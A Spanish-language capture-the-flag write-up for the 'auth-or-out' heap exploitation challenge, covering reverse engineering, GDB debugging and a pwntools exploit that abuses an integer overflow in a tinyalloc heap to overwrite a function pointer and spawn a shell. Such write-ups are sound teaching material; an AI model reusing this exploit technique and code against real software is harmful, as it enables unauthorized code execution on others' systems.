Auth-or-out
13 minutos de lectura
Se nos proporciona un binario de 64 bits llamado auth-or-out
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Si lo ejecutamos, tenemos un menú típico de un reto de explotación del heap:
$ ./auth-or-out
*** Welcome to DZONERZY authors editor v0.11.2 ***
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice:
Ingeniería inversa
Vamos a usar Ghidra para obtener el código fuente descompilado en C. Esta es la función main
:
int main() {
_Bool _Var1;
ulonglong option;
long in_FS_OFFSET;
uchar CustomHeap[14336];
undefined auStack24[8];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
setvbuf(stdin, (char *) 0x0,2,0);
setvbuf(stdout, (char *) 0x0,2,0);
memset(CustomHeap, 0, 0x3800);
_Var1 = ta_init(CustomHeap, auStack24, 10, 0x10, 8);
if (_Var1) {
puts("*** Welcome to DZONERZY authors editor v0.11.2 ***");
switchD_00101a4f_caseD_0:
option = print_menu();
switch(option) {
case 1:
add_author();
goto switchD_00101a4f_caseD_0;
case 2:
modify_author();
goto switchD_00101a4f_caseD_0;
case 3:
print_author();
goto switchD_00101a4f_caseD_0;
case 4:
delete_author();
goto switchD_00101a4f_caseD_0;
case 5:
goto switchD_00101a4f_caseD_5;
}
}
LAB_00101a9b:
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
switchD_00101a4f_caseD_5:
puts("bye bye!");
goto LAB_00101a9b;
}
Lo primero que vemos es que el heap es personalizado (no es de Glibc). De hecho, hay una string en el binario con una pista (una variable global llamada Hint
):
$ strings -30 auth-or-out
*** Welcome to DZONERZY authors editor v0.11.2 ***
tinyalloc: https://github.com/thi-ng/tinyalloc
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
/usr/lib/gcc/x86_64-linux-gnu/7/include
/usr/include/x86_64-linux-gnu/bits
GNU C11 7.5.0 -mtune=generic -march=x86-64 -g -fstack-protector-strong
__do_global_dtors_aux_fini_array_entry
__frame_dummy_init_array_entry
__libc_start_main@@GLIBC_2.2.5
Entonces la implementación del heap es tinyalloc. De momento, vamos a continuar analizando el resto de funciones:
void add_author() {
PAuthor p_author;
ulonglong number;
char *p_note;
size_t size;
ulonglong i;
ulonglong NoteSize;
i = 0;
while (true) {
if (9 < i) {
puts("MAX AUTHORS REACHED!");
return;
}
if (authors[i] == (PAuthor) 0x0) break;
i = i + 1;
}
p_author = (PAuthor) ta_alloc(0x38);
authors[i] = p_author;
if (authors[i] != (PAuthor)0x0) {
authors[i]->Print = PrintNote;
printf("Name: ");
get_from_user(authors[i]->Name, 0x10);
printf("Surname: ");
get_from_user(authors[i]->Surname, 0x10);
printf("Age: ");
p_author = authors[i];
number = get_number();
p_author->Age = number;
printf("Author Note size: ");
number = get_number();
if (number != 0) {
p_author = authors[i];
p_note = (char *) ta_alloc(number + 1);
p_author->Note = p_note;
if (authors[i]->Note == (char *) 0x0) {
printf("Invalid allocation!");
/* WARNING: Subroutine does not return */
exit(0);
}
printf("Note: ");
if (number < 0x101) {
size = number + 1;
} else {
size = 0x100;
}
get_from_user(authors[i]->Note, size);
}
printf("Author %llu added!\n\n", i + 1);
return;
}
printf("Invalid allocation!");
/* WARNING: Subroutine does not return */
exit(0);
}
Hay funciones llamadas get_number
y get_from_user
que leen datos de stdin
. Ambas funciones son correctas.
add_author
hace algunas cosas raras. Nótese que la estructura del autor (PAuthor
) requiere un chunk de 0x38
bytes. Además, podemos indicar si el autor tiene una nota o no (utilizando tamaó 0
le decimos al programa que no guarde la nota).
Existe otra vulnerabilidad aquí, que es un Integer Overflow. Démonos cuenta de que podemos introducir -1
(0xffffffffffffffff
) como tamaño de la nota; y en el código, la asignación será p_note = (char *) ta_alloc(number + 1);
, que se transforma en p_note = (char *) ta_alloc(0);
debido al desbordamiento. Además, después de eso, el bloque if
pondrá size = 0x100
porque size
se interpreta como número entero sin signo, y podremos introducir muchos datos en el heap, derivando en un Heap Overflow.
Esta es modify_author
:
void modify_author() {
PAuthor p_author;
ulonglong number;
ulonglong authorid;
do {
printf("Author ID: ");
number = get_number();
putchar(10);
} while (10 < number);
p_author = authors[number - 1];
if (p_author == (PAuthor) 0x0) {
printf("Author %llu does not exists!\n\n", number);
} else {
printf("Name: ");
get_from_user(p_author->Name, 0x10);
printf("Surname: ");
get_from_user(p_author->Surname, 0x11);
printf("Age: ");
number = get_number();
p_author->Age = number;
putchar(10);
}
return;
}
Si miramos bien, vemos que nos permiten introducir hasta 0x11
bytes en el atributo p_author->Surname
(mientras que en add_author
solo podíamos meter hasta 0x10
). Con esto tendríamos un Heap Overflow de un byte (off-by-one). De todas formas, no será útil.
Esta es print_author
:
void print_author() {
ulonglong number;
ulonglong authorid;
PAuthor p_author;
do {
printf("Author ID: ");
number = get_number();
putchar(10);
} while (10 < number);
p_author = authors[number - 1];
if (p_author == (PAuthor) 0x0) {
printf("Author %llu does not exists!\n\n", number);
} else {
puts("----------------------");
printf("Author %llu\n", number);
printf("Name: %s\n", p_author);
printf("Surname: %s\n", p_author->Surname);
printf("Age: %llu\n", p_author->Age);
(*p_author->Print) (p_author->Note);
puts("-----------------------");
putchar(10);
}
return;
}
Una cosa importante es que p_author->Note
se imprime usando una función almacenada en un atributo (p_author->Print
). En add_author
, esta función se pone como PrintNote
:
void PrintNote(char *Note){
printf("Note: [%s]\n", Note);
return;
}
Podemos comenzar a unir los puntos y deducir que tenemos que modificar la dirección de p_author->Print
para explotar el binario.
Por último, esta es delete_author
:
void delete_author() {
ulonglong number;
ulonglong authorid;
PAuthor p_author;
do {
printf("Author ID: ");
number = get_number();
putchar(10);
} while (10 < number);
p_author = authors[number - 1];
if (p_author == (PAuthor) 0x0) {
printf("Author %llu does not exists!\n\n", number);
} else {
ta_free(p_author->Note);
ta_free(p_author);
authors[number - 1] = (PAuthor) 0x0;
printf("Author %llu deleted!\n\n", number);
}
return;
}
La clave aquí es que no solo p_author
se libera, sino que p_author->Note
también.
Depuración con GDB
Vamos a echar un vistazo a las estructuras en el heap usando GDB, de manera que podamos planear la estrategia de explotación:
$ gdb -q auth-or-out
Reading symbols from auth-or-out...
gef➤ run
Starting program: ./auth-or-out
*** Welcome to DZONERZY authors editor v0.11.2 ***
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: 1
Name: AAAA
Surname: BBBB
Age: 255
Author Note size: 24
Note: CCCC
Author 1 added!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecafd2 in __GI___libc_read (fd=0x0, buf=0x7ffff7fa9a03 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
gef➤ p authors
$1 = {0x7fffffffaf60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gef➤ x/20gx 0x7fffffffaf60
0x7fffffffaf60: 0x0000000041414141 0x0000000000000000
0x7fffffffaf70: 0x0000000042424242 0x0000000000000000
0x7fffffffaf80: 0x00007fffffffaf98 0x00000000000000ff
0x7fffffffaf90: 0x0000555555401219 0x0000000043434343
0x7fffffffafa0: 0x0000000000000000 0x0000000000000000
0x7fffffffafb0: 0x0000000000000000 0x0000000000000000
0x7fffffffafc0: 0x0000000000000000 0x0000000000000000
0x7fffffffafd0: 0x0000000000000000 0x0000000000000000
0x7fffffffafe0: 0x0000000000000000 0x0000000000000000
0x7fffffffaff0: 0x0000000000000000 0x0000000000000000
gef➤ x 0x0000555555401219
0x555555401219 <PrintNote>: 0x10ec8348e5894855
Tenemos:
p_author->Name
en0x7fffffffaf60
p_author->Surname
en0x7fffffffaf70
p_author->Note
es un puntero a0x00007fffffffaf98
p_author->Age
está en0x00007fffffffaf88
p_author->Print
es un puntero a0x0000555555401219
(PrintNote
)
Explotación
Como la implementación del heap es personalizada, necesitaremos fugar Glibc usando puts
y la Tabla de Offsets Globales (GOT), donde se almacenan las direcciones de las funciones externas después de su resolución. Y como el binario tiene PIE habilitado, tendremos que fugar una dirección del binario antes que nada. Todo esto es para burlar el ASLR.
El bug en modify_author
nos permitirá fugar el puntero de p_author->Note
. Pero esto es solo un puntero de la pila, inútil para la explotación.
La idea es fugar la dirección que aparece en p_author->Print
(que es PrintNote
) y así burlar PIE. La manera de realizar esto es crear dos autores sin p_author->Note
:
$ gdb -q auth-or-out
Reading symbols from auth-or-out...
gef➤ run
Starting program: ./auth-or-out
*** Welcome to DZONERZY authors editor v0.11.2 ***
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: 1
Name: AAAA
Surname: BBBB
Age: 1
Author Note size: 0
Author 1 added!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: 1
Name: CCCC
Surname: DDDD
Age: 2
Author Note size: 0
Author 2 added!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecafd2 in __GI___libc_read (fd=0x0, buf=0x7ffff7fa9a03 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
gef➤ p authors
$1 = {0x7fffffffaf60, 0x7fffffffaf98, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
gef➤ x/20gx 0x7fffffffaf60
0x7fffffffaf60: 0x0000000041414141 0x0000000000000000
0x7fffffffaf70: 0x0000000042424242 0x0000000000000000
0x7fffffffaf80: 0x0000000000000000 0x0000000000000001
0x7fffffffaf90: 0x0000555555401219 0x0000000043434343
0x7fffffffafa0: 0x0000000000000000 0x0000000044444444
0x7fffffffafb0: 0x0000000000000000 0x0000000000000000
0x7fffffffafc0: 0x0000000000000002 0x0000555555401219
0x7fffffffafd0: 0x0000000000000000 0x0000000000000000
0x7fffffffafe0: 0x0000000000000000 0x0000000000000000
0x7fffffffaff0: 0x0000000000000000 0x0000000000000000
Ahora vamos a borrar los dos autores, de manera que los chunks quedan libres para usarse después de nuevo:
gef➤ continue
Continuing.
4
Author ID: 1
Author 1 deleted!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: 4
Author ID: 2
Author 2 deleted!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecafd2 in __GI___libc_read (fd=0x0, buf=0x7ffff7fa9a03 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
gef➤ x/20gx 0x7fffffffaf60
0x7fffffffaf60: 0x0000000041414141 0x0000000000000000
0x7fffffffaf70: 0x0000000042424242 0x0000000000000000
0x7fffffffaf80: 0x0000000000000000 0x0000000000000001
0x7fffffffaf90: 0x0000555555401219 0x0000000043434343
0x7fffffffafa0: 0x0000000000000000 0x0000000044444444
0x7fffffffafb0: 0x0000000000000000 0x0000000000000000
0x7fffffffafc0: 0x0000000000000002 0x0000555555401219
0x7fffffffafd0: 0x0000000000000000 0x0000000000000000
0x7fffffffafe0: 0x0000000000000000 0x0000000000000000
0x7fffffffaff0: 0x0000000000000000 0x0000000000000000
Y los datos de los autores siguen ahí. Ahora tenemos que crear otro autor, y será puesto en uno de los chunks anteriores, y además, podemos ponerle p_author->Note
con un tamaño de 0x38
(en verdad, tamaño 55
porque p_note = (char *) ta_alloc(number + 1);
). Así, p_author->Note
en el chunk que falta de los libres, y entonces rellenamos la nota hasta alcanzar el puntero de PrintNote
, para poder fugarla después con la función print_author
:
gef➤ continue
Continuing.
1
Name: XX
Surname: YY
Age: 3
Author Note size: 55
Note: ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
Author 1 added!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: 3
Author ID: 1
----------------------
Author 1
Name: XXAA
Surname: YYBB
Age: 3
Note: [ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ@UUU]
-----------------------
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecafd2 in __GI___libc_read (fd=0x0, buf=0x7ffff7fa9a03 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
gef➤ x/20gx 0x7fffffffaf60
0x7fffffffaf60: 0x0000000041415858 0x0000000000000000
0x7fffffffaf70: 0x0000000042425959 0x0000000000000000
0x7fffffffaf80: 0x00007fffffffaf98 0x0000000000000003
0x7fffffffaf90: 0x0000555555401219 0x5a5a5a5a5a5a5a5a
0x7fffffffafa0: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0x7fffffffafb0: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0x7fffffffafc0: 0x5a5a5a5a5a5a5a5a 0x0000555555401219
0x7fffffffafd0: 0x0000000000000000 0x0000000000000000
0x7fffffffafe0: 0x0000000000000000 0x0000000000000000
0x7fffffffaff0: 0x0000000000000000 0x0000000000000000
Ahí está, ya sabemos cómo fugar PrintNote
y por tanto saltarnos la protección PIE.
Ahora vamos a tratar la vulnerabilidad de Integer Overflow que deriva en Heap Overflow. Necesitamos crear otro author (la víctima), borrar el primero y luego asignar otro usando el Integer Overflow:
gef➤ continue
Continuing.
1
Name: EEEE
Surname: FFFF
Age: 4
Author Note size: 0
Author 2 added!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: 4
Author ID: 1
Author 1 deleted!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: 1
Name: GGGG
Surname: IIII
Age: 5
Author Note size: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecafd2 in __GI___libc_read (fd=0x0, buf=0x7ffff7fa9a03 <_IO_2_1_stdin_+131>, nbytes=0x1) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
Así queda el heap antes del Integer Overflow:
gef➤ x/30gx 0x7fffffffaf60
0x7fffffffaf60: 0x0000000047474747 0x0000000000000000
0x7fffffffaf70: 0x0000000049494949 0x0000000000000000
0x7fffffffaf80: 0x00007fffffffaf98 0x0000000000000005
0x7fffffffaf90: 0x0000555555401219 0x5a5a5a5a5a5a5a5a
0x7fffffffafa0: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0x7fffffffafb0: 0x5a5a5a5a5a5a5a5a 0x5a5a5a5a5a5a5a5a
0x7fffffffafc0: 0x5a5a5a5a5a5a5a5a 0x0000555555401219
0x7fffffffafd0: 0x0000000045454545 0x0000000000000000
0x7fffffffafe0: 0x0000000046464646 0x0000000000000000
0x7fffffffaff0: 0x0000000000000000 0x0000000000000004
0x7fffffffb000: 0x0000555555401219 0x0000000000000000
0x7fffffffb010: 0x0000000000000000 0x0000000000000000
0x7fffffffb020: 0x0000000000000000 0x0000000000000000
0x7fffffffb030: 0x0000000000000000 0x0000000000000000
0x7fffffffb040: 0x0000000000000000 0x0000000000000000
Vamos a usar un patrón para analizar el desbordamiento:
gef➤ pattern create 200
[+] Generating a pattern of 200 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
[+] Saved as '$_gef0'
Ahora, tenemos que poner -1
como tamaño de p_author->Note
y poner el patrón. Luego, podemos usar print_author
para ocasionar el Heap Overflow:
gef➤ continue
Continuing.
-1
Note: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaa
taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
Author 1 added!
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: 3
Author ID: 2
----------------------
Author 2
Name: haaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
Surname: jaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
Age: 7016996765293437293
Program received signal SIGSEGV, Segmentation fault.
0x000055555540176b in print_author () at chall.c:385
385 chall.c: No such file or directory.
Obtenemos una violación de segmento (segmentation fault), como era de esperar. La instrucción en la que el programa termina es call rax
, por lo que vamos a ver qué hay en $rax
:
gef➤ x/i $rip
=> 0x55555540176b <print_author+241>: call rax
gef➤ p/x $rax
$2 = 0x616161616161616e
gef➤ pattern offset $rax
[+] Searching for '$rax'
[+] Found at offset 104 (little-endian search) likely
[+] Found at offset 97 (big-endian search)
Necesitamos 104 bytes para llegar hasta p_author->Print
. Además, tenemos también el control sobre $rdi
:
gef➤ p/x $rdi
$3 = 0x616161616161616c
gef➤ pattern offset $rdi
[+] Searching for '$rdi'
[+] Found at offset 88 (little-endian search) likely
[+] Found at offset 81 (big-endian search)
Con teso tenemos el control sobre el primer argumento de llamada a otras funciones.
Vamos a juntar todo y fugar Glibc usando el siguiente código en Python:
def main():
p = get_process()
add_author(p, b'AAAA', b'BBBB', 1)
add_author(p, b'CCCC', b'DDDD', 2)
delete_author(p, 1)
delete_author(p, 2)
add_author(p, b'XX', b'YY', 3, 0x37, b'Z' * 0x30)
note = print_author(p, 1).splitlines()[4]
print_note_addr = u64(note.split(b'Z' * 0x30)[1].strip(b']').ljust(8, b'\0'))
elf.address = print_note_addr - elf.sym.PrintNote
log.info(f'Leaked PrintNote() address: {hex(print_note_addr)}')
log.info(f'ELF base address: {hex(elf.address)}')
leaked_function = 'printf'
payload = cyclic(88)
payload += p64(elf.got[leaked_function])
payload += cyclic(8)
payload += p64(elf.plt.puts)
add_author(p, b'EEEE', b'FFFF', 4)
delete_author(p, 1)
add_author(p, b'GGGG', b'HHHH', 5, -1, payload)
p.sendlineafter(b'Choice: ', b'3')
p.sendlineafter(b'Author ID: ', b'2')
p.recvuntil(b'Age: ')
p.recvline()
leaked_function_addr = u64(p.recvline().strip().ljust(8, b'\0'))
glibc.address = leaked_function_addr - glibc.sym[leaked_function]
log.info(f'Leaked {leaked_function}() address: {hex(leaked_function_addr)}')
log.info(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
Estamos desbordando hasta p_author->Print
de manera que apunte a puts
. Y en $rdi
ponemos la dirección de una función en la GOT para obtener su dirección real en Glibc en tiempo de ejecución y así burlar ASLR:
$ python3 solve.py
[*] './auth-or-out'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './auth-or-out': pid 1489566
[*] Leaked PrintNote() address: 0x55767ec01219
[*] ELF base address: 0x55767ec00000
[*] Leaked printf() address: 0x7f9bd0c3ac90
[*] Glibc base address: 0x7f9bd0bd9000
[*] Switching to interactive mode
-----------------------
1 - Add Author
2 - Modify Author
3 - Print Author
4 - Delete Author
5 - Exit
Choice: $
Genial, todo parece correcto (como comprobación, tenemos que verificar que las direcciones base terminan en 000
en hexadecimal).
Lo siguiente es volver a ocasionar el desbordamiento y hacer que p_author->Print
llame a system
con la dirección de "/bin/sh"
en $rdi
:
payload = cyclic(88)
payload += p64(next(glibc.search(b'/bin/sh')))
payload += cyclic(8)
payload += p64(glibc.sym.system)
delete_author(p, 1)
add_author(p, b'IIII', b'JJJJ', 6, -1, payload)
p.sendlineafter(b'Choice: ', b'3')
p.sendlineafter(b'Author ID: ', b'2')
p.recv()
p.interactive()
if __name__ == '__main__':
main()
Y así conseguimos una shell en local:
$ python3 solve.py
[*] './auth-or-out'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './auth-or-out': pid 1491803
[*] Leaked PrintNote() address: 0x557f44a01219
[*] ELF base address: 0x557f44a00000
[*] Leaked printf() address: 0x7f537e8e8c90
[*] Glibc base address: 0x7f537e887000
[*] Switching to interactive mode
$ ls
auth-or-out solve.py
$
Ahora tenemos que ejecutarlo en remoto y encontrar la versión de Glibc:
$ python3 solve.py 206.189.117.48:31645
[*] './auth-or-out'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 206.189.117.48 on port 31645: Done
[*] Leaked PrintNote() address: 0x561688401219
[*] ELF base address: 0x561688400000
[*] Leaked printf() address: 0x7f45d272af70
[*] Glibc base address: 0x7f45d26c92e0
[*] Switching to interactive mode
Author 2
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d؇\xd2E\x7f
Surname: AAAAAAAAAAAAAAAA\x9d؇\xd2E\x7f
Age: 4702111234474983745
[*] Got EOF while reading in interactive
$
Obviamente, el exploit no funciona. Vamos a tomar la dirección de puts
también:
$ python3 solve.py 206.189.117.48:31645
[*] './auth-or-out'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 206.189.117.48 on port 31645: Done
[*] Leaked PrintNote() address: 0x5650fa601219
[*] ELF base address: 0x5650fa600000
[*] Leaked puts() address: 0x7fe4d0c15aa0
[*] Glibc base address: 0x7fe4d0b91680
[*] Switching to interactive mode
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\\xd4\xd0\xe4
Surname: AAAAAAAAAAAAAAAA=\\xd4\xd0\xe4
Age: 4702111234474983745
[*] Got EOF while reading in interactive
$
Flag
Ahora podemos usar libc.rip para encontrar una versión de Glibc que coincida con los offsets de printf
y puts
:
Y con esta versión de Glibc descargada, la podemos poner en el script de pwntools
y ejecutar el exploit en remoto:
$ python3 solve.py 206.189.117.48:31645
[*] './auth-or-out'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 206.189.117.48 on port 31645: Done
[*] Leaked PrintNote() address: 0x5616e2801219
[*] ELF base address: 0x5616e2800000
[*] Leaked puts() address: 0x7ff3682a3aa0
[*] Glibc base address: 0x7ff368223000
[*] Switching to interactive mode
$ ls
auth-or-out flag.txt
$ cat flag.txt
HTB{expl01ting_cust0m_h3ap_4_fun_3_pr0f1t}
El exploit completo se puede encontrar aquí: solve.py
.